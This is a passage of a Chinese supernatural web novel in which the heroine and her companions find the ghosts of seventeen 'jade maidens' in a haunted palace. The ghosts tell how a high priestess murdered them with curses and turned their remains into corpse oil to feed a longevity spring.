根本不是普通族人能炼出来的东西…… 仓皇逃命的小少年步子一顿,随即意外地回头,看向我们,不放心地开口确认:“你、你们是人?真不是鬼?” 我轻声说:“是鬼早就被你的阴蛊粉烧成渣了。” 小少年哽住,犹豫片刻,从口袋里掏出火折子。 打开火折子的木盖,往火芯用力吹了口气。 明亮的火舌顿时冒了起来。 小少年拿着火折子往回走,三步并两步地迈到我跟前,瞪着一双圆溜溜的黝黑大眼睛上下打量我与银杏…… 他主动靠近,我才有机会看清小少年的正脸。 小少年瞧起来年龄只有十二三岁,个头大约一米五。 面庞稚嫩清秀,浓眉大眼,眸光深邃。 身上穿着破旧的黑道袍,蓄了长发,浑身脏兮兮的,脸颊上还抹了两把锅底灰…… 脚上穿着粗编的草鞋,及肩墨发凌乱得炸成鸡窝。 瞧着,像只炸了毛的小哈巴狗。 小少年打量完,放下防备好奇问:“你俩又是谁?”幽暗的目光落在我身上:“你怎么穿成这样,跟个女鬼似的。” 我无奈干笑笑:“这座长生宫,里面本来就全是鬼……我俩是被人锁进来的,你呢?” 小少年低头颓废咕哝:“我是来找人的。” 银杏擦干净脸上的阴蛊粉,狐疑追问:“你来这个鬼地方找什么人?这里除了咱们三,还有别的活人吗?” 小少年委屈叹气:“我……来找我的姐姐。我姐姐,是白蝴蝶。” “白蝴蝶?” 这个名字听起来怎么有点耳熟。 银杏恍然大悟,激动道:“白蝴蝶,是去年进长生宫的玉女!你是白蝴蝶那个走丢的弟弟?!” …… 我与银杏带少年重新回到落脚的小屋子时,蛇王大人已经不在屋内了。 银杏把晚上烤的红薯拿出来分给他一个,他接过红薯就狼吞虎咽地啃了起来。 小少年是个懂得知恩图报的人,银杏分他食物,他就解下腰间的水袋送给我们: “呐,这里是我进来之前在外面灌的井水,你们不嫌弃就直接喝吧,嫌弃的话,自己找杯子或者树叶倒着喝。” 银杏不客气的接过水囊,如释重负地舒口气:“现在有水喝就已经不错了,嫌弃什么啊!我们不对口,往嘴里灌一些解解渴就行。” 说着,银杏举起水囊,张嘴灌了一口。 随后又晃了晃我胳膊,来给我喝一口。 我张开嘴,她拿着水囊朝我嘴里倒了一点。 清冽冰凉的井水顺着喉咙滑下食道进入胃腹,干涩的嗓门眼总算好受许多。 我与银杏喝了他几口水,缓过气后,银杏把水囊拧紧,还给了少年。 “你什么时候进来的?怎么进来的?”银杏好奇探究。 少年啃着红薯,猛咽下嘴里鼓鼓囊囊的食物,瞪着一双黝黑清亮的大眼睛,激动抱怨:“我今天、啊不对,应该是昨天。大早晨我就进来了,翻墙进来的。” 银杏试着提示他:“你姐姐……是去年的玉女,你知不知道被选为玉女的前提是什么?” 少年一顿,低头捧着红薯闷声说:“长得好看,八字好。” 银杏哽了哽,偏头同我相视一眼,于心不忍道: “还有……被选进长生宫的玉女,除了某些特定情况外,都是、死人。” 第27章 她们都被困在了这里 少年闻言,眼眶不自觉红了一圈,比我们想象中的反应要平静些, “我知道,我姐姐已经死了,死一年了。” “那你为什么,还要进来找她?你是想……带走她的魂吗?”我小声问。 少年坐在圆桌对面,暗暗攥紧拳头:“我姐姐、她不该死的。” 银杏耐心安慰:“我知道你接受不了,但生死有命,你姐姐是生了病,没人给她买药,活活拖死她的。” 少年猛地抬头,瞪大双眼,眸底攀上猩红血丝,一拳砸桌子上,愤愤反驳:“才不是呢!我姐姐是被人害死的,被大祭司害死的!” “什么!”我一怔,心头重重一颤。 银杏不可思议地张了张嘴,想了想,故意套话:“你这小屁孩懂什么,你姐姐被送进长生宫前就已经断气了,没有证据的事可不能瞎说,当心惹来无妄之灾。” “我不是瞎说!”少年情绪崩溃的泪眼朦胧咬牙道:“你们难道就没有想过,不是那些女孩子们死后才被选入长生宫做玉女,而是大祭司选中谁做玉女,谁就得死吗?” 大祭司选中谁,谁就得死? 是啊,之前我们怎么就没有往这个方向想过! “什么意思?”银杏双臂放在桌子上,着急追问:“展开讲讲!” 少年哽了哽,眼角含泪地说出实情: “我三天前就回阴苗族了,我家在清河村,离这地方有三十里远。我去问了我家邻居,她们的确说,我姐姐在死前病了小半年。 我大伯大娘是没有管姐姐,可姐姐的病,也没有到会病死的地步!而且,我姐姐她虽然眼睛看不见,但她从小就嗅觉格外灵敏,她光靠嗅觉就能辨清山里的中药。 我爸妈从前都是靠采草药卖钱为生,我姐姐她自己就会治病,我和姐姐的家里,厨房中还有姐姐煎过的草药! 姐姐根本不可能因病亡故,邻居们说,姐姐是从当年正月开始就病情加重,选玉女的前半个月,姐姐病情急速恶化,甚至病到了咳血的地步! 邻居们怀疑姐姐得了肺结核,可姐姐在家里留的草药,都是治普通感冒风寒的! 姐姐懂医术,是不是肺结核她自己肯定清楚!” 银杏双手托腮嘶了声,为难道: “你这个理由立不住脚啊,肺结核这种病是需要去外面大城市治的,咱们这山沟沟里很少会遇见肺结核病人。 你姐姐才十九岁,就算是多年行医的老郎中,也有差不出病因搞错病由的时候,万一你姐姐当初就是将肺结核当风寒治了呢?” “单凭这一点肯定不能证明姐姐的死另有隐情,我之所以确定姐姐是被大祭司害死的,是因为我在家里东南方向的墙根下挖出了损人阳寿伤人魂魄的阴蛊!” 少年越说越激动,双手十根指关节捏得咯吱咯吱响,“那蛊十分阴毒,又埋在家里病神位上,不出半年,家里住的人就会死!” 我震惊道:“所以你是说,你姐姐是被人下了阴蛊,才耗干阳寿,病死身故?但这顶多只能证明你姐姐是被人害死的,苗域蛊虫那么多,你怎么确定这蛊就是大祭司下的?” 少年从斜挎包里掏出了一个本子,翻开两页,把上面密密麻麻的记载摊开推给我看:“你只要看了这个,就明白我为什么能确定罪魁祸首是她了。” 我接过本子,低头仔细看上面歪歪斜斜的笔迹…… 还没看完,我就已经全都明白了! 银杏也探头瞧过来,不过,她和我一样,一眼就发现了问题所在。 “这些玉女,竟然全都是纯阴八字!”银杏诧异惊呼:“既然是供养长生泉,那应该用正常的八字才对!我爸说过,只有干坏事的时候才会用得上纯阴女!” 小少年一脸严肃的接着说: “长生殿供奉的神娘娘一身邪气,玉女殿上方怨气冲天,而且,玉女殿还被人下了法阵,我能看出来,那不是简单的锁魂阵,那阵法被改造过,具体是什么阵,还需要时间研究。 整个长生宫都被一股邪力笼罩了,看你这身装扮……你是不是今年的玉女?如果我猜的没错,长生宫里有道阵法,是专门对付你的!” “对付我?”我被他唬得头皮都麻了。 小少年说:“你是第十八名玉女,有些阴毒法阵里,十八是终数。也就是只要第十八个猎物归位,就能开启某个阵法,达到她的目的。” “大祭司的目的是什么?”银杏紧张兮兮握紧手问:“大祭司费尽心机把这么多女孩弄进来,到底想做什么!” 小少年亦攥紧拳头,“她把我姐姐的魂困在这里,今晚无论如何,我都是要救出我姐姐的!” 我安静片刻,说: “那些亡魂有的在长生宫困了十几年,你们说,她们会不会知道大祭司在做什么?就算不知道,我们也可以问问,她们被关进长生宫后,都经历了什么。还有,她们的尸体,到底被如何处理了。” 小少年与银杏皆是抬起头,惊讶地看向我—— “我觉得可以!” “要不然,我去玉女殿抓一只过来,交给你审一审?” “你?得了吧,你刚才差点被我们两个人吓尿裤子,真撞见鬼你不得被吓厥过去啊!” “那不一样,我现在有你们壮胆了,我能行的!我师父教过我捉鬼术,再说,万一我们运气好,我一下就撞见我姐姐了呢?” “呸!就是你姐姐,太阳刚下山那会子差点掐死镜镜!” “……呃,她肯定被折磨成厉鬼了,厉鬼没有理智,你们大人有大量,体谅一下。” 门外呼啸的阴风里,哭声渐清晰,这回,还夹杂着女人的痛苦嘶叫声—— 我们三个达成共识,绕过前头的长生殿,顶着凄凉夜色来到玉女殿门外。 玉女殿的两扇殿门紧紧关闭着,透过糊了窗纸的雕花木窗看进去,殿内无数团红光忽明忽灭,来回飞窜。 哭声与嘶叫声,就是从殿门后传出来的! “让我走吧……我好痛苦……” “爸,妈,我想回家!” “我们究竟还要在这个破地方囚禁多久……放我出去!我要撕了她们!” “好疼啊,救命啊,我好疼啊……” 我没有多犹豫,听见她们的求救就立马冲过去,一把推开了殿门! “镜镜!” “镜姐你别冲动!” 然而,一切都晚了。 殿门敞开的那一刻,殿内飞窜的红光瞬间消失。 殿顶一束明光打在排列整齐的十七副玉女神位上…… 房梁上缠绕的红线倏然变成一朵血色莲花,缓缓绽开层层莲瓣,莲蕊一道红光骤然洒下来,将我整个人都罩在了诡异血色里—— 我被红光刺得睁不开眼,本能地抬袖遮了下。 可,红光徐徐消散,我再放下宽大的红袖,却发现,自己身处于一个白雾蒙蒙的世界…… 而我的眼前,雾色朦胧后,则是不属于现实世界的阴苗族八寨十三村。 一个个年轻少女活泼跃然于幻境中—— “你啊,就是闲不住!知道你有孝心,想替爹分担点,可你终归是个女儿,姑娘家,就该乖乖待在家里绣绣花、织织布。把自己养得十指不沾阳春水,花容月貌。” 荒草丛生的崎岖山路上,少女背着箩筐,搀扶着自家身体羸弱的父亲缓步行走在山野间,孝顺地从腰间抽出干净巾帕,给中年男人擦拭额角虚汗。 “哎呀爹,闺女知道你心疼我,可咱家啥条件啊,咱又不是什么大户人家,您老啊,就别想着养出一个十指不沾阳春水的白嫩大闺女了!” 中年男人穿着一身破旧长衫,拍拍少女的手背,不乐意道: “怎地不能养了?咱家虽然不是大户人家,可有爹在,爹现在还正是壮年,能赚钱!养得起你! 我家月亮啊,长得水灵,生得漂亮,村里人人都羡慕我有你这么一个乖巧秀气的闺女呢!” “得了吧,就您这身体状况,放您一个人出来捞鱼,我还真不放心。您啊,就会哄我开心,村里那些人哪是羡慕你有个长得漂亮的闺女啊,这十几年来,我不是没听过他们在背后如何嘲笑您的。 她们,都笑话您没有儿子……爹,娘都已经走这么久了,村里张姨对你是有意的,您考虑一下,再娶吧。您才四十来岁,说不准过几年就能给我添个弟弟了……” “去!” 中年男人不悦地黑着脸拒绝: “爹和你娘,那是青梅竹马的情谊,别说她才走十几年了,就是几十年,爹也不能另娶啊! 再说,你张姨啥条件,丧偶带两个儿子,她那两个儿子是什么货色,你爹我眼没瞎。 月亮啊,你记住,只要你爹活一年,别人就休想欺负你!爹没有儿子又怎样,我有月亮这个贴心的闺女,就够了!” “爹……” 少女闻言,双眼瞬间红了起来。乖乖搓了搓自家父亲的手臂,含泪冲父亲笑笑:“好吧,那爹,以后我们父女俩,就相依为命!” “你啊,长大了,还得嫁人呢。” “我可以给您招个上门女婿嘛。” 第28章 连这种货色都对付不了,真菜! “啧,成何体统。” “不管,我就要留在爹身边,给爹养老,陪爹一辈子!” “这孩子!” 雾色又浓,紧接着是另一名身穿蓝色蝴蝶长裙的女孩举着风筝闯入我的视线—— “元儿姐姐,慢点,风筝给我玩会儿。”十六七岁的玩伴追着女孩跑进山中。 之后,两人在槐树下席地而坐。 “我爸妈已经答应我了,等我过了十八岁生日,就允许我去外面上大学!” 玩伴满眼羡慕地哇了声,双手合十: “那你岂不是也能去省城的大学读书、住校,还能去电影院吃爆米花,看电影了?” 蓝裙子女孩想了想,说:“我要去读医科大,毕业以后,要去做医生!” “那你,还回来吗?” “回来,只是可能要很少在家里住了……从前,这三千里大山挡住了我的梦想,现在,我终于有机会生出翅膀,乘风飞出去了!我想去看看,山那头,是什么样子!” 阴风一扫,这次,出现在眼前的,是何家女,何小小…… 何家祖祠内,瘦小的姑娘颤抖跪着,满脸泪水的嘶声反驳: “凭什么你们让我嫁给谁,我就要嫁给谁,哪怕对方是个瞎子傻子我也要嫁! 我是个人啊,活生生的人,我不是你们还人情的工具! 你们口口声声说着,你们是过来人,为我好,可你们让我嫁给一个打死过两任老婆的男人,我的下半辈子,怎能过得好?! 你们是我的父母至亲,可你们却从没为我考虑过,你们根本不管我的未来是否幸福,你们只享受掌控我的快感!生我,是你们自己的选择,我不欠你们! 非要说欠,你们生我的时候,也没有问过我的意愿啊!我总不能因为你们养我十八年,我就要毁了自己的一生来还!” 端坐祠堂上位的中年男人气急败坏地一拍桌子:“那你就去死!我何家,就当没你这个女儿!” 幻境里光影变幻,依次浮现出十七位玉女的生平过往……那些年轻女孩们,或喜或悲,或颦或笑,都曾真实、鲜活地活在世上过—— 第十七位玉女的过往出现在前方时,我看见……美丽的盲眼姑娘在山底救下了一名俊美的长发墨衣年轻男子。 男子的打扮不同于普通阴苗族人,一身墨底暗蓝凤尾花纹的长袍。 乌发及腰,金丝抹额,腰束银带,脚踏锦靴。 衣袍上嵌着流云银饰,坠着凤尾蝶铃铛。 即便落了难,一身污血,也难掩其身上浩浩贵气。 白蝴蝶将男人带回了自己家,精心伺候,煎药替他养伤,两人朝夕相处,互生情愫…… 那时,白蝴蝶的弟弟还没有走丢。 男人卧床静养时,会捧着白蝴蝶送他的蝴蝶锦帕走神。 白蝴蝶也会在给男人熬药时忽然走了神。 被亲弟弟戳破心底的小秘密后,还会红着脸,娇羞躲避。 可,半年后,男人终究还是不告而别了。 男人走后,白蝴蝶常拄着竹竿,站在家中院子里的梨花树下,面朝连绵大山发呆。 还会握着男人曾送她的银蝶手链,黯然落泪。 这份埋藏在两人心底的暗恋,终究是,双方都未宣之于口。 直到白蝴蝶被族人们撕破衣裳,强迫着换上神仙侍女服,用肩撵抬至长生宫门口,白蝴蝶悲怆激动之下,一口污血喷出来时…… 白蝴蝶才奄奄一息地伏在竹制扶手上,艰难的扯开唇角,喃喃道出了自己藏在内心深处多年的秘密:“紫、月,我……喜欢你。” 紫月…… 这个熟悉的名字令我陡然背上一凉! “都别碰我的月亮!那是我的亲闺女啊!我只有这一个闺女,你们凭什么要把我闺女抢走!我闺女已经亡故了,你们如今,连死人都不放过吗!” “元儿,只差两个月,你就能去大城市上大学了,你说你怎就,突然得病走了呢!” “大祭司,我家这孽女,就交给你处置了!让她做长生玉女,已经算是对她的恩赐了!这种忤逆父母的孽障,死不足惜!” “我的孩子啊,都怪妈没本事,连你的尸体,都留不住啊。” “既然你们说做长生玉女是光耀门楣的事,那你们怎么不把你们家死去的儿女从地里挖出来送去长生宫做侍女呢!” “说到底,人已经死了,做玉女,能为族人做点贡献,是我们家的荣幸。” “爹,以后你捕鱼,我就在河边捡点漂亮的小石头,听说这种小石头外面的人可喜欢买了。” “我想上大学,想飞出这三千里大山!” “爹、娘,我把命还给你们!” “爸妈,我想回家……” “紫月,你到底、在哪?” “……” 无数道男男女女的声音在我耳边肆意回荡,我看着眼前飞驰闪过的一幕幕场景,心底阵阵五味杂陈…… 那些过往闪现完,朦胧雾色里突然飞出无数条红线,电光火石间红线迅速缠住了我的身体,其中两缕还死死勒住了我的脖子! “镜镜!”银杏的声音猛地在耳边响起,紧接着勒我脖子的红线被小少年掏出符纸蚀断。 银杏快步迈过来扶住我的身体,“镜镜,没事吧?” 我捂住被红线勒破皮的脖颈,忍痛摇头,“没事。” 可下一秒,我们三人就被一道道血色鬼影给突然包围住了—— 昏暗的玉女殿内,死去玉女以灵魂形态,低垂着脑袋,脚尖不沾地,飘在我们的四面八方…… 忽有寒风扫进殿,满屋雪白冥纸纷飞。 小少年手握灵符退至我与银杏身边,敏锐提醒:“当心,她们现在都被控制了!” 银杏默默将手伸进乾坤袋里…… 两秒后,那些红衣玉女突然朝我们发起攻击,一个个失去理智面目狰狞的朝我们伸出尖锐的暗红长指甲,魂魄轻盈的疾速向我们扑过来—— 小少年紧张地用指尖夹住灵符,念诀施法,符纸绽出金光,逼退了扑过来的红衣玉女。 银杏自乾坤袋里掏出蛟骨鞭,动作潇洒利落地一鞭子甩出去,吓得红衣玉女们化成红雾散去,随即又在其他方向凝聚魂体。 有玉女披头散发地将目标放在我身上,可能是见少年与银杏都护着我,以为我是个什么都不会的废材,最好对付,便趁少年与银杏分神,径直朝我伸着鬼爪掐过来…… 但她猜错了,我虽然是废材,可好歹跟在外婆身边多年,知道不少辟邪驱鬼的法子,我可能技不如银杏,但绝不是任鬼宰割的角色! 红衣玉女扑向我的那一刹,我突然从袖子里扯出了一条柳枝。 柳叶鞭打在玉女的魂魄上,烫得她灵魂冒白烟,惶恐的连连后退。 玉女们见掐不到我们,就齐心协力地一同出手,数名红影同时向我们扑来,少年与银杏来不起念诀甩鞭,就被玉女们给按住双臂限制了行动。 我也被几名玉女束缚住了手脚,一名玉女满脸血泪地张开血盆大口,低头就要朝我脖子咬过来—— 我头皮一麻,危急关头果断开口大喊:“蛇王大人救我!” 再躲暗处看好戏,你就要丧偶了! 万幸的是,我的话音刚落,平地就猛地掀起一阵裹着强悍灵力的飓风…… 十七名红衣玉女一瞬被蛇王的法力震成重伤,魂魄轻盈地相继摔撞在玉神殿的灰色砖墙上。 我与银杏小少年三人总算是得了解脱。 我拍拍胸脯猛松口气,心有余悸的低声喃喃:“关键时刻还是便宜老公好使。” 谁料我话刚说完,蛇王大人的淡漠嗓音就从身后传了来:“连这种货色都对付不了,真菜。” “……” 第29章 九黎山青蛇王,我老公! 我惊诧扭头,却见蛇王大人已不知何时现身在我背后,这会子正满脸嫌弃地低眸睥睨着我。 我被他的话噎住,没话可反驳,只能心虚地小声吐槽:“我菜你还能看上我,你眼光也不咋地啊。” 这回噎住的人换成他了。 被他打退的那些红衣玉女忽又动作机械地从地上爬了起来,一个个低垂着脑袋,披头散发,双目流血的飘起身,宛若行尸走肉般继续朝我们靠近—— 蛇王大人优雅抬手,掌中聚起一团金光,正要一招秒了她们,老实站在我们身旁的小少年却突然冲出去,抬起双臂激动阻拦道:“别!别伤她们,我姐姐还在……” 奈何不等他喊完,那些红衣玉女便张牙舞爪的凶悍朝他扑了过来。 眨眼的功夫,他就被十几道红衣鬼影从后扒住了身体,控制住了双手双脚…… 有两名红衣玉女还想趁机附他的身强占他的躯壳。 “放开我、放开!”小少年惶恐大叫。 银杏见状立马就要甩鞭子去救他,蛇王大人用余光瞥了眼银杏,冷冷启唇:“别管他。” 银杏握着鞭子的手一顿,不解看向蛇王大人:“啊?” 犹豫间,小少年已经被那些红衣厉鬼给撕扯得惨叫连连,凄厉哭嚎着向我们求救:“银杏姐,镜镜姐,救我,我不想死啊,我还年轻……救我!” “不管他他会死的!”银杏于心不忍的抓紧鞭子欲要动手,蛇王大人面不改色地淡淡启唇:“你姐姐就在这里,你应该去向你姐姐求救。” 银杏再次错愕停手。 “姐姐……” 小少年似瞬间意会了蛇王大人的话,忍痛扭头,瞥见白蝴蝶的身影后,当即抓住她的红色衣袖痛苦哀叫:“姐姐!我是阿乞啊!姐姐,我回来了……姐姐,我带你回家……” “白蝴蝶!你还记得紫月吗!姐姐,阿乞回来了,是紫月要阿乞回来找你的!姐姐,我是阿乞,姐姐,紫月!紫月要我带你走,我们去找紫月师父!姐姐——” 少年肩上的血水濡湿了红衣玉女的双手。 长发掩面的玉女闻言,半晌才终于有了反应,动作僵硬地昂头,乌黑墨发下,是一张苍白染血的女子俏脸…… 听见爱人与弟弟的名字,怔愣着绷紧脖颈,眼白上翻的双目悄然溢出两行血泪。 艰难张嘴,颤颤重复:“阿乞、紫月……紫月……” 少年抓住机会继续疯狂摇晃着玉女的手臂,痛苦地大声冲白蝴蝶喊道: “姐!我是来接你回家的!姐,当初说好了,我五年就回来,没想到我学成而归,你却已遭遇了不测! 是师父感应到你有危险,才提前放我回来的。姐,我来找你了,我来带你走! 姐,我知道你很痛苦,姐你醒醒,你伸手摸摸阿乞,阿乞长大了,但阿乞的眉眼并没有怎么变,真是阿乞回来了,阿乞回来带你去找紫月!” “阿乞、紫月……阿乞、紫月……”红衣玉女浑身发着抖,情绪崩溃地喃喃重复这两个名字,眼角血泪越流越多…… 长着尖长红指甲的双手哆嗦着摸向少年的脸庞…… 指腹轻轻按向少年的鼻梁、眉眼、唇角。 用手将少年整张秀气端正的脸抚完—— 才终于忍不住的悲怆哭出声。 “阿弟,你回来了,阿弟……” “我想回家,紫月,带我走,带我走……” “啊——” 骤然凄厉的一道痛苦嘶吼猛地掀起凶猛血光,怨气化成的血潮迅速向四面八方迸发攻击而去,扒在少年身上的红衣厉鬼俱是一刹被震飞。 红潮将要震到我与银杏时,蛇王大人手快地一掌劈开银杏,随后揽住我的腰快步后退,抬手聚起金光震碎了汹涌散过来鬼气。 我靠在他怀里半晌没缓过神,被劈撞在墙上的银杏憋屈揉了揉心口,哀怨抬头看蛇王老爷, “呜蛇王大人你至于这么双标吗?对你老婆是用抱的,对我就用劈的!哎呦撞死我了,我的小心脏啊!” 蛇王大人用余光瞥她一眼:“你是背撞墙的,又不是脸朝墙,伤不到心脏。” 银杏愤愤控诉:“可是撞到老娘后心了!哎呦,心脏都快给我撞移位了。” 蛇王大人无情收回视线,毒舌道:“那是你身体素质不行,这样都能撞到心脏,着实废柴。” 银杏震惊瞪大眼:“……”又不可思议地转头问我:“镜镜你家蛇王平时说话都这么直白的吗?” 我尴尬哽了哽:“也不是……” 银杏顿时拉长脸:“哼,我就知道,双标狗。” 我无奈揉额角:“他对你已经口下留德了,他平时对我、更直白。” 就像刚才,他还嫌我菜来着。 银杏彻底无语住。 屋里的红衣玉女们被白蝴蝶这么失控一震,似乎,全都误打误撞恢复了正常意识…… 接连从地上爬起来,捂住受伤的脑袋胳膊,踉跄往殿中央聚集。 “我们刚才怎么了?” “肯定是又被控制了呗……” “是蝴蝶震醒了我们。” “这样的日子,到底什么时候是个头啊……” 抬头忽地看见我和蛇王大人还有银杏,玉女们立即挤作一团,怯怯后退两步。 刘家女仗义地将妹妹们护在身后,警惕打量我们三人,凝声质问:“你们是谁?” 我能感觉到,她们清醒时,对我们是没有恶意的。 “我是今年被送进来的玉女,这是我好朋友银杏,她是月阴村老李的女儿。” 介绍过银杏,我为难地看了眼揽着我的蛇王大人,不好意思地继续说: “这位,是蛇王大人,我老公,他……是九黎山里的仙家。” 刘家女听罢,蹙眉道: “你身上的服饰……的确是玉女装扮,但每年被送进来的玉女都是孤身一人,大祭司她们怎么可能允许你带这么多人进来!还有,你都已经不是完璧之身了,大祭司怎么会把你送进来?” 这几个问题,还真问住我了。 我尴尬说:“我也……不确定。” 何家女目光如炬地打量了我一阵,和刘家女说:“因为她是最纯净的圣体,即便身上沾染了蛇味,也是献祭最好的引子!” 余下的玉女们也相继发表言论:“这个女孩一身纯净的灵气,拿她献祭,可比咱们这些纯阴之身还有用。” “今年的玉女,是第十八位玉女,只要她归位,长生宫内的法阵就会开启,咱们便会彻底沦为提线木偶。” “月亮姐姐,她也是受害者!可惜,即便咱们先前那么闹,也没能阻止阴苗族择选新玉女。” 银杏意外问道:“先前长生宫闹鬼,你们是故意的?” 李金桃道: “我们是故意的,我们只是想自保有错吗?而且,我们也是想提醒外面的人长生宫中有冤,阻止他们将更多无辜的女孩送进来。 谁知道外面的那些族人贪心不足,为了延年益寿,为了长生泉,竟颠倒黑白,反觉得我们闹腾是惹是生非,是想损害他们的利益! 他们诓骗我们的父母,说我们不肯老实待在长生宫里是想要元宝供奉了,害得我好不容易才入了我父母的梦,刚和父母喊冤,我爸妈就劈头盖脸把我骂了一顿。 说我死后能为族人们做点贡献是光耀我李家门楣,怪我不能太任性自私!” 刘月亮紧接着道:“我爹倒是心疼我,只不过我已经死十七年了,自我死后,我爹的身体就越来越差,最近几年总是缠绵病榻,我实在不忍心死了还让他操心担忧。” 第十五代玉女拖着委委屈屈的哭腔道: “我入父母的梦,和他们说我在长生宫过得不好我想回家,结果我父亲那个大蠢蛋竟然去请教大祭司的意思,害得我再想入他们的梦时,差点被大祭司的巫术给震魂飞魄散!” “大祭司当然不会允许他们将你们带出去。” 少年牵着自己姐姐的手,心疼不已地搓搓姐姐手背,愤怒控诉: “大祭司好不容易才收集到这么多纯阴女,她还要利用你们达成自己的目的呢!” 银杏半信半疑地问刘月亮她们: “听起来,你们没有伤人之心,那你们傍晚在这里差点掐死我和镜镜,又是什么意思?” 刘月亮轻叹一口气,护着其他十五位玉女,哀伤道: “我们已经快一年没有见到生人了,下午你们刚进来,我们并不确定你们到底是什么人。 长生宫这个地方不是久留之地,我怕你们是误闯进来的,被外面的人发现你们会遭殃,所以,为了逼你们赶紧离开,我们只能现身吓唬你们。” 何小小道:“我们可是厉鬼,要想杀你们,傍晚那会子手上稍微用点力,就把你们掐死了。” 白蝴蝶牵着少年的手走过来: “傍晚是我去前面的长生殿吓唬你们的,我本想把你们吓跑,让你们知难而退,谁知你们俩后来又跑进了玉女殿。我们没办法,只能稍微下重手,让你们以为,我们是真想杀人。” 赵元儿无奈接上:“至于刚才,是我们的十八妹突然闯进来,触动了玉女殿的阵法,殿内的禁制法阵突然控制住了我们,我们这才对你们下杀手……” “十八妹……”我尴尬呛住。 这个称呼、也没问题。 我可不就是排行十八么。 听完前因后果,少年瞧了眼外面的天色,果断急忙拉着白蝴蝶席地而坐。 抬手招呼别的玉女也坐下来。 “姐姐们,这到底是怎么回事啊!你们被困在这里,真的是供养那什么长生泉的吗!还有这殿里的法阵,到底是用来做什么的?” 银杏见状,也拉着我,顺手薅了把蛇王大人的袖子,带我们坐下融入大家,“对啊,你们这些年,到底都经历了什么?” 众玉女席地盘腿而坐,身上的红衣也瞬间化回了神仙侍女服,一个个柳眉明眸,乌发高挽,头戴凤冠,两边插着华贵的金步摇。 姐妹间相视一眼后,由第一任玉女刘月亮率先开口解释: “大祭司带走我们的尸体,的确是为了供养长生泉。但囚禁我们的灵魂,却是为了给圣女做傀儡。 我们姐妹十七个,全都不是正常死亡,是因为大祭司选中了我们的八字,才用巫术取走了我们的性命,如果没有大祭司动手脚,我们全都是长寿且寿终正寝之人!” 赵元儿: “大祭司知道贸然用活人祭祀会引起族人的不满,为了避免不必要的麻烦,就索性提前设法取走我们的性命。 然后再借择选当年亡故的未婚年轻女子为长生玉女的幌子,拿天意当借口,光明正大带走我们的尸体,用我们的尸体供养长生泉。 但由于我们全都是阳寿未尽之人,我们的魂魄如果下了地府,势必会引起阴间的注意,而且族里还有位老鬼师在。 一旦地府问罪,鬼师便要彻查此事给阴间一个交代,大祭司害怕届时惊动鬼师惹怒地府,便索性把我们的魂囚在了长生宫。 一为躲避地府问罪,二为,给那个假娘娘做侍女。圣女宋花枝身边,还需要十八位护法侍女。” 何小小: “我们全都是纯阴命格之人,我们被大祭司以供养长生泉的名义囚禁在这里,每夜都要忍受刮骨割肉之痛。 大祭司在玉女殿上方下了禁制,你们看见房梁上的红线了吗?那些红线,就是大祭司用来束缚我们的东西!” 第30章 灰狐给她下了鸳鸯缠 其她玉女相继打开话匣子,委屈诉苦: “每年四月二十六,大祭司都会送来一具尸体,玉女殿就会多一缕无辜冤魂。 这些年,我们眼见着有相同遭遇的姐妹越来越多,却根本无能为力。” “也有活着进来的玉女,但都在四月二十六当晚子夜前被长生宫的法阵给收了魂,暴毙而亡,小小姐和玉珠姐就是这么死的。” “我们真的好想回家……哪怕尸骨无存只能做孤魂野鬼,也好过被囚在这里夜夜承受剜心剔骨之痛。” “玉女殿房梁上的法阵一为束缚我们,二,是在第十八名玉女魂魄归位时,开启第二重阵法,剥夺我们的神识,让我们彻底沦为没有意识的傀儡魂,这样才能给圣女做护法侍女。” “说是护法侍女,其实就是替死鬼,我们是纯阴体,这些年来大祭司一直在用巫术淬炼我们的魂魄,我们现在,其实已经是大祭司炼化的阴蛊了!” “我们这些阴蛊,圣女用不上我们的时候,我们得给圣女当牛做马,圣女要用我们的时候,我们得牺牲自己,为圣女增加修行,我们就是大祭司炼给她女儿的蛊药!” “我们每夜都要承受剜心割肉之痛,玉女殿的法阵夜夜淬炼我们的灵魂,我们真的好痛苦……我们想回家,想离开这座牢笼。” “第十八位玉女魂魄归位时,我们所有人都会被炼成真正的阴蛊。我们的灵魂存于世间,可我们的意识会彻底消散,这才是,真正意义上的死亡。” “十八妹,你们快想办法逃出去吧!这里的法阵会在明晚子时前剥离你的魂魄,一旦第二重阵法开启,我们就全都得死!到时候你连被囚禁的机会都没有了!” 把玉女的灵魂炼成阴蛊,给宋花枝做侍女,这也太阴毒了吧! “你们别担心,我们、肯定能逃出去的!”我坚定承诺。 玉女们悲伤含泪,“没用的,这些年我们试过很多种方法……这些禁制实在太厉害了,我们也想逃,可我们一直在失败!” 少年握着自家姐姐的手,着急问白蝴蝶:“长生泉又是什么情况,姐姐,你们的尸体呢?” 白蝴蝶擦了擦眼角的泪,哽咽道:“长生泉,不是靠玉女纯洁的身子供养……而是,靠那东西……” 白蝴蝶伸手指向供桌右侧端放的一只莲花瓮。 我好奇起身,缓步走到供桌前,看着莲花瓮上端立着的一只抬袖翩翩起舞的玉女形象小铜人,心底隐隐升起几分悚然不安。 捏起小铜人,小铜人的足部焊接着莲花瓮的瓮盖,圆形莲花状的陶瓷黑瓮被打开,里面顿时扑出一股刺鼻腥臭、令人作呕的气息…… 追上来的银杏被这气味熏得干呕,我赶紧掩住鼻息,蹙眉朝瓮里看去…… 却见黑瓷瓮底部,积着一部分湿漉漉的不明黏稠物,还蓄着几滴暗黄色的怪异液体。 像、什么油。 银杏探头瞧过来,不解问道:“这是什么东西?这么臭,肯定不是什么好玩意,你们别告诉我,长生泉里加了这家伙!” 刘月亮平静道:“那是尸油。” “什么?”我被惊得头皮一酥,双手一颤,莲花瓮哐的一声掉回供桌上。 少年见我被真相吓到,忙爬起身小跑过来,把小铜人从我手里接过去。 拢过供桌上的莲花瓮,低头闻了闻,肃色确定道:“是尸油!这里面是我姐姐的……尸油!” 白蝴蝶哀伤地哽了哽,痛苦说出真相: “长生泉,是靠纯阴女的尸油供养。我们死后,尸体被送往玉女殿,由大祭司的手下用火炼出尸油,剩下的骸骨,全都烧成了灰,埋在玉女殿的地板下……” “疯了,全都疯了!” 少年接受不了一把将莲花瓮狠狠摔碎在地上,心疼望向姐姐,红着眼眶内疚道: “姐姐你那时候该多疼啊……大祭司怎么能用这么残忍的法子供养那什么狗屁长生泉! 是她害死了你,是族人们的自私害死了你们!如果当初我陪在你身边,我护着你,姐姐你是不是就不会死了……” “阿乞。”白蝴蝶张了张嘴,唇色苍白地喃喃念道:“这是、姐姐的命。” 